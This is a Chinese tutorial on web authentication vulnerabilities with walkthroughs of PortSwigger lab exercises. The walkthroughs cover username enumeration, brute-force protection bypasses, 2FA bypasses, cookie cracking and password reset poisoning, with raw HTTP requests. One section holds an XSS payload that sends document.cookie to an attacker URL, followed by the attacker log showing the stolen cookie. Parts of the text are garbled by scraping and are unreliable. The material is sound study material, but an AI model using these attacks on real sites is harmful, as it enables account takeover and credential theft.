欢迎关注订阅专栏!
WEB安全系列包括如下三个专栏:!

  • 《WEB安全基础-服务器端漏洞》
  • 《WEB安全基础-客户端漏洞》
  • 《WEB安全高级-综合利用》

知识点全面细致,逻辑清晰、结合实战,并配有大量练习靶场,让你读一篇、练一篇,掌握一篇,在学习路上事半功倍,少走弯路!
欢迎关注订阅专栏!

专栏文章追求对知识点的全面总结,逻辑严密,方便学习掌握。力求做到看完一篇文章,全面汇总相关知识,掌握一类漏洞。让读者能尽快掌握WEB安全知识框架,入门深造。
绝不为了追求文章数量,彰显内容丰富而故意拆散相关知识点,导致逻辑凌乱,让读者沉迷在无尽的技巧中而迷失进阶的道路!

欢迎关注订阅专栏!

WEB安全基础入门—身份验证漏洞

    • 一、身份验证基础知识
      • 1. 身份验证基础定义
      • 2. 身份验证与授权的区别
      • 3. 身份验证漏洞产生的原因
    • 二、漏洞利用
      • 1. 基于密码的登陆漏洞
        • 1. 暴力攻击
        • 2. 暴力破解防护缺陷
      • 2. 基于多因素认证的漏洞
      • 3. 其他身份验证功能机制的漏洞
        • 1.登录状态保持功能
        • 2. 重置密码功能
    • 三、漏洞实例
      • 1. 通过不同响应进行的用户名枚举 ([Username enumeration via different responses](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses))
      • 2. 通过细微不同的响应进行用户名枚举 ([Username enumeration via subtly different responses](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses))
      • 3. 通过响应计时进行用户名枚举 ([Username enumeration via response timing](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing))
      • 4. 破解暴力保护,IP阻止([Broken brute-force protection, IP block](https://portswigger.net/web-security/authentication/password-based/lab-broken-bruteforce-protection-ip-block))
      • 5. 通过帐户锁定进行用户名枚举([Username enumeration via account lock](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-account-lock))
      • 6. 破解暴力保护,每次请求多个凭据([Broken brute-force protection, multiple credentials per request](https://portswigger.net/web-security/authentication/password-based/lab-broken-brute-force-protection-multiple-credentials-per-request))
      • 7. 2FA简单绕过( [2FA simple bypass](https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass))
      • 8. 2FA断开逻辑([2FA broken logic](https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-broken-logic))
      • 9. 使用暴力攻击的2FA旁路( [2FA bypass using a brute-force attack](https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack))
      • 10. 暴力-强制使用持续登录的Cookie( [Brute-forcing a stay-logged-in cookie](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie))
      • 11. 脱机密码破解([Offline password cracking](https://portswigger.net/web-security/authentication/other-mechanisms/lab-offline-password-cracking))
      • 12. 密码重置损坏的逻辑([Password reset broken logic](https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic))
      • 13. 通过中间件进行密码重置中毒([Password reset poisoning via middleware](https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-poisoning-via-middleware))
      • 14. 密码暴力-通过更改密码强制执行([Password brute-force via password change](https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-brute-force-via-password-change))

一、身份验证基础知识

1. 身份验证基础定义

身份验证是验证请求用户或客户端的身份的过程。确保访问者真的是他自己声称的那个人。身份验证包含三要素,分别是:

  • 自己知道:比如密码或者预设问题的答案,所谓的“知识因素”
  • 自己拥有:你手机收到的验证码等,所谓的“占有因素”
  • 自身具备: 比如指纹、虹膜等,所谓的“内在因素”

身份验证就是用技术手段验证以上一个或多个因素来完成的。

2. 身份验证与授权的区别

身份验证授权
验证访问者真是他自己声称的那个人。一个用户被允许能做某事
用户A登录应用,验证他是否真是A登录后,他权限是什么,能做什么操作

3. 身份验证漏洞产生的原因

概括来讲,身份验证漏洞产生的原因可以被归纳为两大类

  • 无法充分防御暴力攻击。
  • 逻辑或代码实现时的缺陷,导致攻击者能绕过验证。有时被称为“身份验证中断”。

二、漏洞利用

1. 基于密码的登陆漏洞

1. 暴力攻击

暴力攻击一般使用相关软件(如Burp)逐一遍历搭配用户名和密码的字典进行自动化访问爆破的过程,根据响应结果来找出正确的用户名和密码。

字典,并不是单纯的随机搭配生成的。更多的是根据目标用户的相关信息(如生日、身份证号、姓名、手机号、车牌号、爱人生日、一千个最常用密码等)组合而来的,如设置的密码也遵循这个原则,则暴力破解的成功率会非常高。

用户名暴力破解
用户名相对来说比较容易猜测,

  • 如单位邮箱,姓名@单位.com
  • 高权限账户名 administrator 、 admin、IT support等
  • 浏览应用,一般非注册用户也能看到别人的用户名。
  • 抓包查看,有时数据包中会含有邮箱、账户名等信息

用户名枚举
很多应用对已在使用的用户名会有特殊显示,如找到这种区别,则可以大量识别出哪些用户名已经存在,则爆破就局限在密码上,简单很多。

  • 响应码不同
  • 错误提示。如输入的用户名已存在,页面会提示,“用户名已存在”等各种形式的提示
  • 响应时间不同。用户名是否占用,需要系统在数据库中查询,这个需要时间,暴力破解软件往往会记录所有响应的时间,删选出异常时间即可。

密码暴力破解
一般密码设置都有最基本的要求

  • 密码最少位数要求(8位或12位)
  • 密码要求含有大小写字母
  • 至少包含1个特殊字符(如!@#¥%&*等)

但是一般用户选用密码都有其规律

  • 生日数字、姓名简拼、身份证号、车牌号、爱人姓名生日等
  • 键盘上简单联系的字符串,如1qazwsxedc! qwertyuiop@,看下键盘就明白了
  • 简单的单词+随机字符,如Password123!\hello345*

只要百度搜下密码本或最常用的1000个密码,会有一大堆字典能使用。
另外网上也有免费的根据你提供信息自动生成的密码本(在线社工密码生成)

例题 1,2,3

2. 暴力破解防护缺陷

大多数情况下,网站登陆页面是有暴力破解防护措施的,主要有如下两点:

  • 锁定被访问的账户,如果短时间内该账户登陆失败的次数太多
  • 锁定远程访问IP,如果短时间内该IP发起大量连续的登陆请求

以上两种限制措施结合起来使用,的确能抵御大量爆破攻击。但是仍不完善,如下场景就可轻易破解该防御。
攻击者先尝试测试出登陆失败的限制次数,正常注册一个账户。在暴力破解字典中周期性(≤失败限制次数)插入正常账户的账号密码。这样爆破时,在低速发送登陆请求时,周期性的登陆正常账户,也能成功绕过爆破防护的。

例题4

另,第一种方式是利用限制本身来判断账户是否存在,比如多次爆破后,发现账户提示被锁定,则可认定该账户存在

例题5 例题6

2. 基于多因素认证的漏洞

多因素身份验证的好处只有通过验证多个不同的因素才能实现。用两种不同的方式验证同一因素并不是真正的双因素身份验证。
绕过双因素验证
如果验证时是先输入账户密码,跳转到另一个页面进项验证码验证。则可以尝试账户密码验证成功跳转后是否已经是登陆状态,若是这样,不再进行验证码验证。

例题7

双因素验证逻辑缺陷
同上有些网站设计成分两阶段分别验证密码和验证码,验证的数据包如下,请留意验证密码后设置的cookie
第一次账号密码发送和验证

POST /login-steps/first HTTP/1.1 Host: vulnerable-website.com...username=carlos&password=qwertyHTTP/1.1 200 OKSet-Cookie: account=carlos

第二次发送cookie,验证返回验证码

GET /login-steps/second HTTP/1.1Cookie: account=carlosPOST /login-steps/second HTTP/1.1Host: vulnerable-website.comCookie: account=victim-user...verification-code=123456

逻辑是给你的验证码,完全依赖设置的cookie。若攻击者知道目标用户密码后,可尝试在完成密码验证后,更改cookie,提交申请验证码

POST /login-steps/second HTTP/1.1Host: vulnerable-website.comCookie: account=victim-user...verification-code=123456

例题8、9

3. 其他身份验证功能机制的漏洞

1.登录状态保持功能

功能点往往是Remember me Keep me logged in 保持登陆状态的打勾选项框。实现的方法是,使用特殊的cookie,在一段时间内保存在服务器和浏览器端,有这个cookie,可以绕过整个登陆环节。这个cookie应该为不可预测且加盐加密的。但实际情况往往有例外:

  • cookie可预测(未加盐,仅为用户名+时间戳、用户名+密码等)
  • 简单的“加密”方式(例如base64或类似可破解方式)
  • 没有加盐,使用彩虹表破解加密的cookie,伪造cookie尝试登陆

攻击者可以事先申请账号,研究整个流程和cookie

例10 、11

2. 重置密码功能

  • 通过邮件发送新密码
  • 重置密码连接,连接中参数高度加密,无法预测篡改

http://vulnerable-website.com/reset-password" />POST /login HTTP/1.1Host: ac941f181f8a1ac2c0f39a88000e00b2.web-security-academy.netCookie: session=3siZ3fN7N4ztmocux0iYVAMxxtYvdOKwusername=albuquerque&password=456

发到Burp爆破模块

将靶场提供的字典粘贴进去,在响应包中设置抓取Invalid username

完成上述设置,开始攻击,结果显示只有一个用户名没有这个字段,证明该用户名已使用。albuquerque

  1. 下一步用户名填入,爆破密码

粘贴密码本

开始包括,筛选长度异常的响应包,因为响应长度不同,证明页面不同,表面登陆进去了。密码robert

登陆成功

2. 通过细微不同的响应进行用户名枚举 (Username enumeration via subtly different responses)

  • 目标

    利用靶场提供的字典,枚举出有效用户名,并暴力破解其密码登陆

  • 解题思路

与上一题雷同,只说不同点

  1. 在用户名枚举时发现,提示略有不同。

无效的用户名为Invalid username or password.
有效的用户名为Invalid username or password 仅仅差一个.做安全要细心呢

  1. 密码爆破时,发现长度不宜判断,但是响应码不同,登陆成功的响应码为302其余为200

3. 通过响应计时进行用户名枚举 (Username enumeration via response timing)

  • 目标

    利用靶场提供的字典,枚举出有效用户名,并暴力破解其账户登陆。测试账号wiener:peter

  • 解题思路

    1. 本题在破解时,会拦截高频访问。可在爆破时随机变化X-Forwarded-For头的内容绕过
    2. 枚举用户名,上述各种办法均没有差异。考虑增加密码长度,发现错误用户名响应时间没有变化,但是已注册用户名响应时间明显变长。




      其余相同,不再赘述

4. 破解暴力保护,IP阻止(Broken brute-force protection, IP block)

  • 目标

    利用靶场提供的字典,暴力破解其密码登陆。测试账号wiener:peter,目标用户carlos

  • 解题思路

    1. 经测试发现超过三次同一账户登陆失败,ip会被锁定1min,此种情况无法使用最原始的暴力破解,但可以改变字典如下所示

用户字典

wienercarloscarloswienercarloscarloswienercarloscarloswienercarloscarloswiener....两次carlos后一次wiener

密码字典

eter123456passwordpeter12345678qwertypeter12345678912345peter1234111111peter.....
  1. burp 爆破选用模式pitchfork,上两个字典。最大同时请求数为1。得出结果如下

最终找到正确密钥

5. 通过帐户锁定进行用户名枚举(Username enumeration via account lock)

  • 目标

    利用靶场自动锁定登陆失败次数过多账户的防护逻辑,枚举出有效用户名,并暴力破解其账户登陆。

  • 解题思路

    1. 核心逻辑一点对同一账户名反复爆破,致使期锁定,则证明该账户为有效用户

6. 破解暴力保护,每次请求多个凭据(Broken brute-force protection, multiple credentials per request)

  • 目标

    利用靶场防护逻辑缺陷,暴力破解carlos账户密码登陆。

  • 解题思路

    1. 发现此题账号密码使用json形式发送
POST /login HTTP/1.1Host: ac341fa61f430c29c0ec4978002f004a.web-security-academy.netCookie: session=3osKtL6vB19bIwK6pa1T5KzIyO31UQBvConnection: close{"username":"carlos","password":"123","":""}
  1. 尝试json的格式一次发送所有密码,让程序默认测试每个账户
....{"username":"carlos","password":["123","password","qwerty",...]}

7. 2FA简单绕过( 2FA simple bypass)

  • 目标

    登陆时双因素验证(2FA),登陆账户carlos
    测试账户:wiener:peter
    目标账户:carlos:montoya

  • 解题思路

此题非常简单,再输入账号密码好,跳转至验证码输入界面。此时若回到主页(可直接修改URL),再查看状态,其实已经是登录状态。双因素验证被简单绕过。

8. 2FA断开逻辑(2FA broken logic)

  • 目标

    登陆时双因素验证(2FA),登陆账户carlos
    测试账户:wiener:peter
    目标账户:carlos

  • 解题思路

此题逻辑细节需注意

  1. 首先登陆测试账户密码,通过后,在GET 时更换cookie为carlos 目的是让carlos在服务器端产生可使用的验证码
GET /login2 HTTP/1.1Host: ac3e1fc41e2e0e17c006305e004e007c.web-security-academy.netCookie: session=U4pqw5gXBvsGu3RZeBMHa0wG0rFlDM5V; verify=carlos
  1. 任意提交验证码,将此POST数据包放到Burp爆破模块,爆破。根据之前测试了解,验证码为四位数字。
POST /login2 HTTP/1.1Host: ac3e1fc41e2e0e17c006305e004e007c.web-security-academy.netCookie: session=dTL5aKh6zd29oiotG2heavcLardrFv6l; verify=carlosmfa-code=§1234§

9. 使用暴力攻击的2FA旁路( 2FA bypass using a brute-force attack)

  • 目标

    登陆时双因素验证(2FA),登陆账户carlos
    目标账户:carlos:montoya
    对验证码有爆破防护,一旦有错,需重新登录用户名和密码

  • 解题思路

暂略

10. 暴力-强制使用持续登录的Cookie( Brute-forcing a stay-logged-in cookie)

  • 目标

    网站提供登陆状态保持功能,破解账户carlos的cookie,登陆其账户
    测试账号:wiener:peter
    目标账户:carlos

  • 解题思路

    1. 登陆测试账户,勾选保持登陆状态,获取到session
HTTP/1.1 302 FoundLocation: /my-accountSet-Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; Expires=Wed, 01 Jan 3000 01:00:00 UTCSet-Cookie: session=flB85ih0RP2hJArjjUHFj4qCU4cLijXm; Secure; HttpOnly; SameSite=NoneConnection: closeContent-Length: 0

stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw

  1. 首选进行base64解码

wiener:51dc30ddc473d43a6011e9ebba6ca770

  1. 用md5解码成功

wiener:peter

所以cookie生成方式为stay-logged-in=base64(用户名:MD5(密码))

  1. 使用burp爆破模块,破解cookie密码登陆
GET /my-account HTTP/1.1Host: aca21f781f688dd7c00759680081002a.web-security-academy.netCookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcwUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: https://aca21f781f688dd7c00759680081002a.web-security-academy.net/loginUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: " />document.location="//你的攻击机URL/"+document.cooke;
  1. 查看攻击机的日志记录,发现cookie被成功带出

"GET /secret=W7MFKCT2S04dxoPstmCEMKNpJSA5wP1p;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz HTTP/1.1"

  1. 找到任意一个登陆数据包,替换cookie即可

12. 密码重置损坏的逻辑(Password reset broken logic)

  • 目标

    重置目标账户carlos的密码,并登录其用户页
    测试账户:wiener:peter

  • 解题思路

    用测试账号测试密码重置功能点,发现他的最后一步根本就没验证token与username的对应关系。造成,最后一个重置连接可以重置任何制定账户的密码

POST /forgot-password?temp-forgot-password-token=IyadaAg43KDTwLAKThdvyklSyHButnmV HTTP/1.1temp-forgot-password-token=IyadaAg43KDTwLAKThdvyklSyHButnmV&username=carlos&new-password-1=123&new-password-2=123

13. 通过中间件进行密码重置中毒(Password reset poisoning via middleware)

  • 目标

    使用密码重置毒化,登陆目标账户carlos
    测试账户:wiener:peter

  • 解题思路

    1. 登陆测试账户测试整个重置密码流程,发现X-Forwarded-Host,可以影响产生的重置密码连接,导致连接指向任意地址。
POST /forgot-password HTTP/1.1Host: ac031f4e1fa76d12c004df51002a00d6.web-security-academy.netX-Forwarded-Host: exploit-acd31f551fee6d3ac0cadffc012c0082.web-security-academy.netusername=carlos

攻击机或者访问日志,带出token
"GET /forgot-password?temp-forgot-password-token=KKZlLNQnume54YfOpiSm6HbCmQIVDn5s HTTP/1.1"
更新最后一步数据包,即可重置carlos密码

POST /forgot-password?temp-forgot-password-token=KKZlLNQnume54YfOpiSm6HbCmQIVDn5s HTTP/1.1temp-forgot-password-token=KKZlLNQnume54YfOpiSm6HbCmQIVDn5s&new-password-1=123&new-password-2=123

14. 密码暴力-通过更改密码强制执行(Password brute-force via password change)

  • 目标

    暴力破解carlos的密码,并登录其用户页
    测试账户:wiener:peter

  • 解题思路

    1. 此题更改密码时,需输入原密码,并同时输入2次新密码,通过后方能更改密码。逻辑上更安全。
    2. 发现提示漏洞,
    • 当原密码有误,同时新密码2次相同时

    提示:Current password is incorrect.原账户同时被锁定。

    • 当原密码有误,但新密码2次也不相同时

    提示:New passwords do not match.原账户不会锁定。

    1. 构造暴力破解攻击,原密码加载字典,新秘密设定2次不同,flag为没有标准提示的访问。